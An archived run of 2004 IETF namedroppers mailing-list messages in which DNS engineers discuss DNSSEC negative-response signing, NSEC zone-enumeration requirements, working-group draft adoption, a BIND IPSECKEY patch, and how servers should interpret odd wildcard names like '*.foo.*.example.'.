-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Paul Vixie <paul@vix.com> Subject: Re: another's view on zone enum & on-line signing Date: Thu, 23 Sep 2004 22:56:28 +0000 Lines: 12 Sender: owner-namedroppers@ops.ietf.org References: <edlewis@arin.net> X-From: owner-namedroppers@ops.ietf.org Fri Sep 24 01:05:03 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org In-Reply-To: Message from Edward Lewis <edlewis@arin.net> of "Thu, 23 Sep 2004 10:03:27 +0100." <a0602041bbd7840c3647d@[193.0.8.231]> X-Mailer: MH-E 7.4; nmh 1.0.4; GNU Emacs 21.3.1 Precedence: bulk > >word on the street is, online signing isn't allowed in the dnssec-bis spec. > > What about a signed zone that is dynamically updated - doesn't that > physically require on-line signing? i meant online signing of negative responses, without precomputed NSECs. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:08 2006 From: Samuel Weiler <weiler@tislabs.com> Subject: Re: draft-ietf-dnsext-signed-nonexistence-requirements-00.txt Date: Thu, 23 Sep 2004 19:48:26 -0400 (EDT) Lines: 30 Sender: owner-namedroppers@ops.ietf.org References: <4E25ECBBC03F874CBAD03399254ADFDE10530E@US-Columbia-CIST.mail.saic.com> Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Cc: "'namedroppers@ops.ietf.org'" <namedroppers@ops.ietf.org>, "''Ben Laurie' '" <ben@algroup.co.uk> X-From: owner-namedroppers@ops.ietf.org Fri Sep 24 01:55:47 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-X-Sender: weiler@filbert To: "Loomis, Rip" <GILBERT.R.LOOMIS@saic.com> In-Reply-To: <4E25ECBBC03F874CBAD03399254ADFDE10530E@US-Columbia-CIST.mail.saic.com> Precedence: bulk On Wed, 22 Sep 2004, Loomis, Rip wrote: > And as a reminder, we fully expect that some of the requirements > in this current document may be unrealistic, may conflict with > other requirements, or may in fact be "desire-ments" without a > solid basis. Once there is at least rough consensus on the maximally > inclusive list, then the WG can work on boiling down to a cohesive > set of prioritized requirements. Thank you for putting this together, gentlemen. Given the potential for conflicting requirements, I'd find it useful to see what sets of requirements go together. We might find that there are multiple disjoint sets of users with confliciting requirements, but that we can design a solution that works for each set (or at least some of the sets). Does your raw source material give you enough data to start constructing that matrix? I also remember someone suggesting (during the DNSEXT meeting at IETF 60?) a requirement that zones not be countable, even if the names themselves are hashed. Have any of your sources mentioned such a requirement? -- Sam -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:08 2006 From: Ben Laurie <ben@algroup.co.uk> Subject: Re: draft-ietf-dnsext-signed-nonexistence-requirements-00.txt Date: Fri, 24 Sep 2004 09:47:11 +0100 Lines: 48 Sender: owner-namedroppers@ops.ietf.org References: <4E25ECBBC03F874CBAD03399254ADFDE10530E@US-Columbia-CIST.mail.saic.com> <Pine.GSO.4.55.0409231927280.680@filbert> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: "Loomis, Rip" <GILBERT.R.LOOMIS@saic.com>, "'namedroppers@ops.ietf.org'" <namedroppers@ops.ietf.org> X-From: owner-namedroppers@ops.ietf.org Fri Sep 24 11:01:04 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla Thunderbird 0.8 (Windows/20040913) X-Accept-Language: en-us, en To: Samuel Weiler <weiler@tislabs.com> In-Reply-To: <Pine.GSO.4.55.0409231927280.680@filbert> X-Enigmail-Version: 0.86.1.0 X-Enigmail-Supports: pgp-inline, pgp-mime Precedence: bulk Samuel Weiler wrote: > On Wed, 22 Sep 2004, Loomis, Rip wrote: > > >>And as a reminder, we fully expect that some of the requirements >>in this current document may be unrealistic, may conflict with >>other requirements, or may in fact be "desire-ments" without a >>solid basis. Once there is at least rough consensus on the maximally >>inclusive list, then the WG can work on boiling down to a cohesive >>set of prioritized requirements. > > > Thank you for putting this together, gentlemen. > > Given the potential for conflicting requirements, I'd find it useful > to see what sets of requirements go together. We might find that > there are multiple disjoint sets of users with confliciting > requirements, but that we can design a solution that works for each > set (or at least some of the sets). Does your raw source material > give you enough data to start constructing that matrix? Probably. I'll take a look. I doubt its possible to finish, but I'm sure starting is possible. > I also remember someone suggesting (during the DNSEXT meeting at IETF > 60?) a requirement that zones not be countable, even if the names > themselves are hashed. Have any of your sources mentioned such a > requirement? Section 7. Cheers, Ben. -- ApacheCon! 13-17 November! http://www.apachecon.com/ http://www.apache-ssl.org/ben.html http://www.thebunker.net/ "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:08 2006 From: David Blacka <davidb@verisignlabs.com> Subject: Re: another's view on zone enum & on-line signing Date: Fri, 24 Sep 2004 11:26:55 +0100 Lines: 25 Sender: owner-namedroppers@ops.ietf.org References: <20040923225628.726A713951@sa.vix.com> Mime-Version: 1.0 (Apple Message framework v619) Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Fri Sep 24 12:36:54 2004 Return-path: <owner-namedroppers@ops.ietf.org> In-Reply-To: <20040923225628.726A713951@sa.vix.com> To: Paul Vixie <paul@vix.com> X-Mailer: Apple Mail (2.619) Precedence: bulk On Sep 23, 2004, at 11:56 PM, Paul Vixie wrote: >>> word on the street is, online signing isn't allowed in the >>> dnssec-bis spec. >> >> What about a signed zone that is dynamically updated - doesn't that >> physically require on-line signing? > > i meant online signing of negative responses, without precomputed > NSECs. So the problem you were referring to wasn't online signing, it was NSEC synthesis at (otherwise) non-existent names, right? -- David Blacka <davidb@verisignlabs.com> Sr. Engineer Verisign Applied Research -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:08 2006 From: Paul Vixie <paul@vix.com> Subject: Re: another's view on zone enum & on-line signing Date: Fri, 24 Sep 2004 18:08:00 +0000 Lines: 18 Sender: owner-namedroppers@ops.ietf.org References: <davidb@verisignlabs.com> X-From: owner-namedroppers@ops.ietf.org Fri Sep 24 20:20:19 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org In-Reply-To: Message from David Blacka <davidb@verisignlabs.com> of "Fri, 24 Sep 2004 11:26:55 +0100." <42183733-0E14-11D9-95EB-000A95CC77E2@verisignlabs.com> X-Mailer: MH-E 7.4; nmh 1.0.4; GNU Emacs 21.3.1 Precedence: bulk > >>> word on the street is, online signing isn't allowed in the dnssec-bis > >>> spec. > >> > >> What about a signed zone that is dynamically updated - doesn't that > >> physically require on-line signing? > > > > i meant online signing of negative responses, without precomputed NSECs. > > So the problem you were referring to wasn't online signing, it was NSEC > synthesis at (otherwise) non-existent names, right? yes. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:08 2006 From: "Olaf M. Kolkman" <olaf@ripe.net> Subject: Fw: Approval to Post Version -00 Internet-Drafts for the 61st IETF Meeting in Washington, DC, USA Date: Mon, 27 Sep 2004 13:53:46 +0200 Organization: RIPE NCC Lines: 60 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-From: owner-namedroppers@ops.ietf.org Mon Sep 27 14:02:38 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org X-Mailer: Sylpheed version 0.9.11 (GTK+ 1.2.10; i686-pc-linux-gnu) X-RIPE-Spam-Level: X-RIPE-Spam-Status: N 0.000106 / 0.0 / 0.0 / disabled X-RIPE-Signature: d7b6188ddfe0efc739e7c958ace71bf8 Precedence: bulk FYI: If we want to turn 'individual' drafts into version 00 working group documents we have to do so before the initial cut-off. Which is Oct 11th 9:00 AM ET. Note that we can, as always, discuss documents that are not working group documents (yet). --Olaf DNSEXT Co-Chair. ---------------------- Begin forwarded message ---------------------- Date: Fri, 24 Sep 2004 09:57:34 -0400 From: Internet-Drafts Administrator <internet-drafts@ietf.org> To: Working Group Chairs <wgchairs@ietf.org> Cc: Subject: Approval to Post Version -00 Internet-Drafts for the 61st IETF Meeting in Washington, DC, USA Dear IETF Working Group Chairs: In order to expedite the processing of the many version -00 I-Ds that the Secretariat receives before an IETF meeting, we ask that you please notify the Secretariat prior to the initial submission cutoff date of all version -00 I-Ds that you expect to approve for posting as WG documents. Please send the filenames of your approved -00 I-Ds to internet-drafts@ietf.org by no later than five (5) business days prior to the cutoff date for -00 submissions, or by Monday, October 11th at 9:00 AM ET for the 61st IETF Meeting. Please include the word "Approved I-Ds" in the "Subject" field. This procedure will help to ensure that version -00 I-Ds are posted in a timely manner, allowing more time for review by the public. Thank you for your cooperation in this matter. The Internet-Drafts Administrator FYI: The Internet-Draft cutoff dates as well as other significant dates for the 61st IETF Meeting can be found at http://www.ietf.org/meetings/cutoff_dates_61.html. ---------------------- End forwarded message ------------------------ -- ---------------------------------| Olaf M. Kolkman ---------------------------------| RIPE NCC -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:08 2006 From: Mike StJohns <Mike.StJohns@nominum.com> Subject: Re: Fw: Approval to Post Version -00 Internet-Drafts for the 61st IETF Meeting in Washington, DC, USA Date: Mon, 27 Sep 2004 11:07:48 -0400 Lines: 77 Sender: owner-namedroppers@ops.ietf.org References: <20040927135346.7a0641fd.olaf@ripe.net> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-From: owner-namedroppers@ops.ietf.org Mon Sep 27 17:19:12 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: stjohns@localhost X-Mailer: QUALCOMM Windows Eudora Version 6.1.2.0 To: "Olaf M. Kolkman" <olaf@ripe.net>, namedroppers@ops.ietf.org In-Reply-To: <20040927135346.7a0641fd.olaf@ripe.net> References: <20040927135346.7a0641fd.olaf@ripe.net> Precedence: bulk Is there agreement to accept http://www.ietf.org/internet-drafts/draft-stjohns-dnssec-trustupdate-01.txt "Automated Updates of DNSSEC Trust Anchors" as a WG draft? If so, I'll repost it as draft-ietf-dnsext-dnssec-trustupdate-00.txt. Mike At 07:53 AM 9/27/2004, Olaf M. Kolkman wrote: >FYI: > >If we want to turn 'individual' drafts into version 00 working >group documents we have to do so before the initial cut-off. Which is >Oct 11th 9:00 AM ET. > >Note that we can, as always, discuss documents that are not working >group documents (yet). > >--Olaf > DNSEXT Co-Chair. > > >---------------------- Begin forwarded message ---------------------- > > >Date: Fri, 24 Sep 2004 09:57:34 -0400 >From: Internet-Drafts Administrator <internet-drafts@ietf.org> >To: Working Group Chairs <wgchairs@ietf.org> >Cc: >Subject: Approval to Post Version -00 Internet-Drafts for the 61st IETF >Meeting in Washington, DC, USA > > >Dear IETF Working Group Chairs: > > In order to expedite the processing of the many version -00 I-Ds that > the Secretariat receives before an IETF meeting, we ask that you > please notify the Secretariat prior to the initial submission cutoff > date of all version -00 I-Ds that you expect to approve for posting as > WG documents. Please send the filenames of your approved -00 I-Ds to > internet-drafts@ietf.org by no later than five (5) business days prior > to the cutoff date for -00 submissions, or by Monday, October 11th at > 9:00 AM ET for the 61st IETF Meeting. Please include the word > "Approved I-Ds" in the "Subject" field. This procedure will help to > ensure that version -00 I-Ds are posted in a timely manner, allowing > more time for review by the public. > > Thank you for your cooperation in this matter. > > The Internet-Drafts Administrator > > FYI: The Internet-Draft cutoff dates as well as other significant > dates for the 61st IETF Meeting can be found at > http://www.ietf.org/meetings/cutoff_dates_61.html. > >---------------------- End forwarded message ------------------------ > >-- > >---------------------------------| Olaf M. Kolkman >---------------------------------| RIPE NCC > > >-- >to unsubscribe send a message to namedroppers-request@ops.ietf.org with >the word 'unsubscribe' in a single line as the message text body. >archive: <http://ops.ietf.org/lists/namedroppers/> -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:08 2006 From: =?iso-8859-1?Q?=D3lafur?= Gudmundsson/DNSEXT co-chair <ogud@ogud.com> Subject: Re: Fw: Approval to Post Version -00 Internet-Drafts for the 61st IETF Meeting in Washington, DC, USA Date: Mon, 27 Sep 2004 11:24:07 -0400 Lines: 27 Sender: owner-namedroppers@ops.ietf.org References: <20040927135346.7a0641fd.olaf@ripe.net> <6.1.2.0.2.20040927110541.02957ec0@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-From: owner-namedroppers@ops.ietf.org Mon Sep 27 17:30:31 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: (Unverified) X-Mailer: QUALCOMM Windows Eudora Version 6.1.2.0 To: namedroppers@ops.ietf.org In-Reply-To: <6.1.2.0.2.20040927110541.02957ec0@localhost> References: <20040927135346.7a0641fd.olaf@ripe.net> <6.1.2.0.2.20040927110541.02957ec0@localhost> X-Scanned-By: MIMEDefang 2.44 Precedence: bulk At 11:07 27/09/2004, Mike StJohns wrote: >Is there agreement to accept >http://www.ietf.org/internet-drafts/draft-stjohns-dnssec-trustupdate-01.txt > "Automated Updates of DNSSEC Trust Anchors" as a WG draft? If so, I'll >repost it as draft-ietf-dnsext-dnssec-trustupdate-00.txt. Does anyone in the working group object that we admit the this document and the Threshold key validation schema described in http://www.ietf.org/internet-drafts/draft-ihren-dnsext-threshold-validation-01.txt? It was the sense of the room in San Diego to admit these documents as working group items, but we chairs forgot to officially ask this question on the mailing list. The reason to do this work in DNSEXT is that one or both these proposals want to use bits in the DNSKEY record for signaling of state change(s). Olafur DNSEXT co-chair -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:08 2006 From: David Fort <david.fort@irisa.fr> Subject: Re: ipseckey support Date: Mon, 27 Sep 2004 17:58:29 +0200 Lines: 39 Sender: owner-namedroppers@ops.ietf.org References: <414999E2.9080306@irisa.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit X-From: owner-namedroppers@ops.ietf.org Mon Sep 27 18:10:49 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.2) Gecko/20040803 X-Accept-Language: fr-fr, fr, en-us, en To: namedroppers@ops.ietf.org In-Reply-To: <414999E2.9080306@irisa.fr> X-Virus-Scanned: by amavisd-new at irisa.fr Precedence: bulk David Fort wrote: > People interested in ipseckey RR should have a look at that patch. > This is for the BIND 9.3 series > > ftp://idsa.irisa.fr/local/idsa/code/patch-bind/bind9.3.0rc3+ipseckey.patch > > > This implementation follows draft-ietf-ipseckey-rr-11. I've taken 49 > as RR type(the first available AFAICT), but it can be easily changed. > > Feel free to send comments, remarks. > I've made changes to my previous patch for ipseckey support, this one should be a more correct implementation of the draft. ftp://idsa.irisa.fr/local/idsa/code/patch-bind/bind+ipseckey_20040921.patch This should apply to any recent source of BIND(including final 9.3.0) As usual feel free to remark/comment/patch. grtz. PS: please note that i've renamed the first patch to "bind+ipseckey_20040908.patch" -- Fort David, Projet IDsA IRISA-INRIA, Campus de Beaulieu, 35042 Rennes cedex, France T�l: +33 (0) 2 99 84 71 33 -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:08 2006 From: Edward Lewis <edlewis@arin.net> Subject: still not sure Date: Wed, 29 Sep 2004 12:01:50 -0400 Lines: 49 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: edlewis@arin.net X-From: owner-namedroppers@ops.ietf.org Wed Sep 29 18:17:20 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 To: namedroppers@ops.ietf.org Precedence: bulk I'm writing stuff into the wcard draft and I am not sure what to do about this. Not that this is literally going to be in the draft, but, what happens when: At a slave server, accepting zone transfer (updates) the following record is seen: *.foo.*.example. 3600 IN TXT "just to be a pest" Does the slave server note this in logs? Does the slave server dump the zone update upon completion of transfer? (Or) Does the slave server press this zone into service as if the above is legal (wrt RFC 1034, 4.3.3)? Does the slave server recognize that *.example. is a Wild Card Domain Name (even if there is no other *.example. entry)? Does the slave server recognize that *.foo.*.example. is one too? What I sense from the group is: *.foo.*.example. is confusing so operators SHOULD NOT use it. *.foo.*.example. MUST be allowed (anticipated) in a query. *.foo.*.example. MUST be allowed to exact match "itself." What's still knocking me around is whether we need to make it clear that: Implementations ought to anticipate such a name, and make the name act like a Wild Card Domain Name should - all the while we tell operators to not bother using it. (It's already been said that we don't want to "outlaw" it.) -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:08 2006 From: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-dnsext-signed-nonexistence-requirements-00.txt Date: Wed, 29 Sep 2004 15:28:59 -0400 Lines: 95 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 29 21:42:02 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: i-d-announce@ietf.org Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the DNS Extensions Working Group of the IETF. Title : Requirements related to DNSSEC Signed Proof of Non-Existence Author(s) : B. Laurie, R. Loomis Filename : draft-ietf-dnsext-signed-nonexistence-requirements-00.txt Pages : 12 Date : 2004-9-29 DNSSEC-bis uses the NSEC record to provide authenticated denial of existence of RRsets. NSEC also has the side-effect of permitting zone enumeration, even if zone transfers have been forbidden. Because some see this as a problem, this document has been assembled to detail the possible requirements for denial of existence A/K/A signed proof of non-existence. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-dnsext-signed-nonexistence-requirements-00.txt To remove yourself from the I-D Announcement list, send a message to i-d-announce-request@ietf.org with the word unsubscribe in the body of the message. You can also visit https://www1.ietf.org/mailman/listinfo/I-D-announce to change your subscription settings. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-dnsext-signed-nonexistence-requirements-00.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-dnsext-signed-nonexistence-requirements-00.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2004-9-29152645.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-dnsext-signed-nonexistence-requirements-00.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-dnsext-signed-nonexistence-requirements-00.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2004-9-29152645.I-D@ietf.org> --OtherAccess-- --NextPart-- -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:08 2006 From: Robert Elz <kre@munnari.OZ.AU> Subject: Re: still not sure Date: Thu, 30 Sep 2004 16:44:01 +0700 Lines: 106 Sender: owner-namedroppers@ops.ietf.org References: <a0602040bbd808b0ce5af@[192.136.136.113]> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 30 11:53:13 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Edward Lewis <edlewis@arin.net> In-Reply-To: <a0602040bbd808b0ce5af@[192.136.136.113]> Precedence: bulk Date: Wed, 29 Sep 2004 12:01:50 -0400 From: Edward Lewis <edlewis@arin.net> Message-ID: <a0602040bbd808b0ce5af@[192.136.136.113]> | Does the slave server note this in logs? You can't expect a meaningful answer to that question - servers note in their logs whatever the server author wants them to note. However, there's no more reason to "note" that than any other domain that happens to be being loaded. | Does the slave server dump the zone update upon completion of transfer? | | (Or) Does the slave server press this zone into service as if the | above is legal (wrt RFC 1034, 4.3.3)? The latter. | Does the slave server recognize that *.example. is a Wild Card Domain | Name (even if there is no other *.example. entry)? Yes, if it gets a query for gibberish.example. it needs to reply NODATA and not NXDOMAIN (you all know what those mean). For any practical purpose, that makes no (external) difference that matters, so for practical purposes, whichever decision makes little difference - but the implementation can be much simpler and cleaner if we can ignore these special cases. [Aside: [ Incidentally, that's why in the version of the draft I sent you I had [ "undefined" for what happens here - that is, allow either NXDOMAIN or [ NODATA, as the difference between them doesn't matter much most of the [ time (and clients really need to handle either possibility, as much [ as they care about the difference, which isn't usually very much). [ But for technical correctness, and for the purposes of proofs of [ existence, NODATA is the right answer. The effect is that there is no need to go looking to see if a domain name happens to have sub-domains before deciding whether or not it is a valid wildcard (the algorithms in 4.3.2 say nothing about that, just 'look to see if a the "*" label exists' [sic] Here, *.example. exists (after searching in example. for gibberish.example. and not finding that one, and still looking in example. for the '*'). Nothing anywhere about looking for sub-domains and ignoring the '*' if any are found. Nothing about doing that depending upon whether or not the '*' label has RRs attached to it or not (the test for matching RRs comes later, after the '*' is found). What's more, adding another *.example. RR explicitly (other than that it would provide an RRset to return for one type of query, instead of NODATA) changes nothing at all - the *.example. in "*.example." is exactly the same domain as the *.example. in "*.foo.*.example." There is exactly one '*' sub-domain of "example." regardless of how many times the '*' in the appropriate place happens to appear in the label field of the zone file. | Does the slave server recognize that *.foo.*.example. is one too? Yes, of course, for gibberish.foo.*.example. queries (and only those). Again, doing anything else is needlessly complicated, for close to zero practical effect upon the world. | What I sense from the group is: | | *.foo.*.example. is confusing so operators SHOULD NOT use it. | *.foo.*.example. MUST be allowed (anticipated) in a query. | *.foo.*.example. MUST be allowed to exact match "itself." Agreed (both with the sense of the group, such a "group" as it has been on this question, and with that being the correct interpretation anyway). | What's still knocking me around is whether we need to make it clear that: | | Implementations ought to anticipate such a name, and make the name act | like a Wild Card Domain Name should - all the while we tell operators | to not bother using it. I'm not even sure we need to tell anyone not to bother using it. It isn't as if operators are racing about doing absurd things like this - no-one actually uses '*' as a literal domain name (in zones, or in queries they expect to get answers to), so this isn't really important. What we need to do is make it clear that *.foo.*.example does NOT mean "any name in a foo sub-domain of any sub-domain of example". If we do that, and actually succeed in getting the message across, then there won't be any need to worry about people doing this by accident. If we fail to make it clear, then there's no point in this draft doing anything at all. If we make it clear, but fail to get the message delivered properly, then it really makes no difference what we say, we're going to be ignored anyway. I prefer to assume that we can make it clear, and that the community will take (sufficient) notice (even if it just means that the book authors take note...) that this can all be productive. kre -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:08 2006 From: Alex Bligh <alex@alex.org.uk> Subject: Re: still not sure Date: Thu, 30 Sep 2004 11:17:38 +0100 Lines: 106 Sender: owner-namedroppers@ops.ietf.org References: <a0602040bbd808b0ce5af@[192.136.136.113]> Reply-To: Alex Bligh <alex@alex.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Alex Bligh <alex@alex.org.uk> X-From: owner-namedroppers@ops.ietf.org Thu Sep 30 12:23:43 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Edward Lewis <edlewis@arin.net>, namedroppers@ops.ietf.org In-Reply-To: <a0602040bbd808b0ce5af@[192.136.136.113]> X-Mailer: Mulberry/3.1.5 (Win32) Content-Disposition: inline Precedence: bulk Ed, Executive Summary: IMHO these are no more bad than any other name which does not consist of [0-9a-zA-Z-] with interior hyphens, so for reasons of consistency we should not introduce a "SHOULD NOT" - the existing discouragement from using wild and whacky characters in labels is sufficient. > At a slave server, accepting zone transfer (updates) the following record > is seen: > > > *.foo.*.example. 3600 IN TXT "just to be a pest" > > > Does the slave server note this in logs? I don't know. If the server gets any of \040 3600 IN TXT "at sign" ~ 3600 IN TXT "tilde" -name- 3600 IN TXT "name starting and ending dash" \001\046\042\046 3600 IN TXT "that's ascii(1) '.' '*' '.'" then for some value of "should", they "should" not be in the zone file, and it might thus be worth logging them. But not for an RFC value of "should", else they'd all have "SHOULD NOT" in the RFC (which they don't). Neither does this. So I guess if I was going to put something in the RFC, I would deprecate their usage to the extent all the above are discouraged (which is weaker discouragement than "SHOULD NOT"). But that's already done in precisely the section that discourages uses outside [0-9a-zA-Z-] with interior hyphens only. So I don't think that needs to be done. > Does the slave server dump the zone update upon completion of transfer? That sounds like application dependent behaviour - I can quite see why people might want a switch that dumps zones if the contents don't match some more restricted than usual regex, but if things are legal (albeit discouraged) under the RFC, the RFC should not recommend a server does the above. > (Or) Does the slave server press this zone into service as if the above > is legal (wrt RFC 1034, 4.3.3)? See above. > Does the slave server recognize that *.example. is a Wild Card Domain > Name (even if there is no other *.example. entry)? I am presuming you mean "no other <AnythingButStar>.example entry"... > Does the slave server recognize that *.foo.*.example. is one too? *.foo.*.example. is indistinguishable in my mind from *.foo.bar.example. *.foo.example. *.*.example. Logic suggests these should also be treated the same as *.example. (with no other <anything>.example. entry). > What I sense from the group is: > > *.foo.*.example. is confusing so operators SHOULD NOT use it. > *.foo.*.example. MUST be allowed (anticipated) in a query. > *.foo.*.example. MUST be allowed to exact match "itself." I can see no reason to make *.foo.*.example. any more recommended against than (say) names with dots in. "*" . "f" "o" "o" "." "e" "x" "a" "m" "p" "l" "e" . If we are going to make pronouncements about confusing things, we should catch everything confusing - I'd suggest that's at a minimum "*", "@", "*" (anything other than as LHS wildcard including in the middle of a label), ".", <=32, >=127, and possibly quotes. But I don't think we should really be going there. What we might need is a clarifying example saying LABELS: *.foo.*.example. - Left hand * is wildcard, RH is literal *.*.example. - Left hand * is wildcard, RH is literal *.example. - * is wildcard a.*.example. - No wildcard QNAMES: All instances of * are literals > What's still knocking me around is whether we need to make it clear that: > > Implementations ought to anticipate such a name, and make the name act > like a Wild Card Domain Name should - all the while we tell operators > to not bother using it. "tell the operators" (IMHO) in exactly the same terms as we tell them not to do other daft but permissible things, like use dots in their names. Which does not amount to "SHOULD NOT". Alex -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:08 2006 From: Peter Koch <pk@TechFak.Uni-Bielefeld.DE> Subject: Re: still not sure Date: Thu, 30 Sep 2004 14:14:00 +0200 Lines: 50 Sender: owner-namedroppers@ops.ietf.org References: <a0602040bbd808b0ce5af@[192.136.136.113]> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-From: owner-namedroppers@ops.ietf.org Thu Sep 30 14:24:31 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Authentication-Warning: grimsvotn.TechFak.Uni-Bielefeld.DE: pk owned process doing -bs X-Authentication-Warning: grimsvotn.TechFak.Uni-Bielefeld.DE: pk@localhost didn't use HELO protocol To: namedroppers@ops.ietf.org In-reply-to: Your message of "Wed, 29 Sep 